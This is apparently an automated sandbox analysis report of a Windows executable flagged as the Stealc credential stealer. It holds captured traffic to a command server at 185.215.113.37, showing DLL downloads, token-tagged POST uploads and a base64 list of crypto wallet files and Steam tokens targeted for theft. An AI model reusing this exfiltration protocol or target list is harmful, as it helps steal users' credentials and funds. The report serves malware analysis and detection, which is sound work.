Sep 30, 2024 15:20:13.438536882 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:13.659975052 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 30, 2024 15:20:13.959439039 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:14.181339979 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 30, 2024 15:20:15.640439034 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:15.862164021 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 30, 2024 15:20:16.025379896 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 15:20:16.246736050 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 30, 2024 15:20:16.719320059 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 15:20:17.448673964 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:17.645728111 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="message"wallets------JJJJDAAECGHDGDGCGHDB--
Sep 30, 2024 15:20:17.870531082 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:17 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 30, 2024 15:20:17.873919010 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"files------BAAAAKJKJEBGHJKFHIDG--
Sep 30, 2024 15:20:18.098131895 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:18.110374928 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file"------AAEHIDAKECFIEBGDHJEB--
Sep 30, 2024 15:20:18.819277048 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 15:20:18.850636005 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="message"ybncbhylepme------KJDGDBFBGIDGIEBGHCGI--
Sep 30, 2024 15:20:19.239265919 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5733 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Sep 30, 2024 15:20:19.241628885 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECGIIIDAKJDHJKFHIEBF--
Sep 30, 2024 15:20:19.956897020 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 13:20:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	09:19:59
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x520000
File size:	1'831'936 bytes
MD5 hash:	6B618B13D3618F8771F4B25628CECFAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1240754798.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	39

Executed Functions

Function 00539860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,01081780), ref: 005398A1
GetProcAddress.KERNEL32(77190000,01081798), ref: 005398BA
GetProcAddress.KERNEL32(77190000,01081540), ref: 005398D2
GetProcAddress.KERNEL32(77190000,010817E0), ref: 005398EA
GetProcAddress.KERNEL32(77190000,01081678), ref: 00539903
GetProcAddress.KERNEL32(77190000,01088BC8), ref: 0053991B
GetProcAddress.KERNEL32(77190000,01076778), ref: 00539933
GetProcAddress.KERNEL32(77190000,01076758), ref: 0053994C
GetProcAddress.KERNEL32(77190000,010816D8), ref: 00539964
GetProcAddress.KERNEL32(77190000,01081588), ref: 0053997C
GetProcAddress.KERNEL32(77190000,01081600), ref: 00539995
GetProcAddress.KERNEL32(77190000,010815A0), ref: 005399AD
GetProcAddress.KERNEL32(77190000,01076538), ref: 005399C5
GetProcAddress.KERNEL32(77190000,010815E8), ref: 005399DE
GetProcAddress.KERNEL32(77190000,01081618), ref: 005399F6
GetProcAddress.KERNEL32(77190000,01076418), ref: 00539A0E
GetProcAddress.KERNEL32(77190000,01081630), ref: 00539A27
GetProcAddress.KERNEL32(77190000,01081660), ref: 00539A3F
GetProcAddress.KERNEL32(77190000,01076618), ref: 00539A57
GetProcAddress.KERNEL32(77190000,01081828), ref: 00539A70
GetProcAddress.KERNEL32(77190000,01076698), ref: 00539A88
LoadLibraryA.KERNEL32(01081840,?,00536A00), ref: 00539A9A
LoadLibraryA.KERNEL32(010818A0,?,00536A00), ref: 00539AAB
LoadLibraryA.KERNEL32(01081888,?,00536A00), ref: 00539ABD
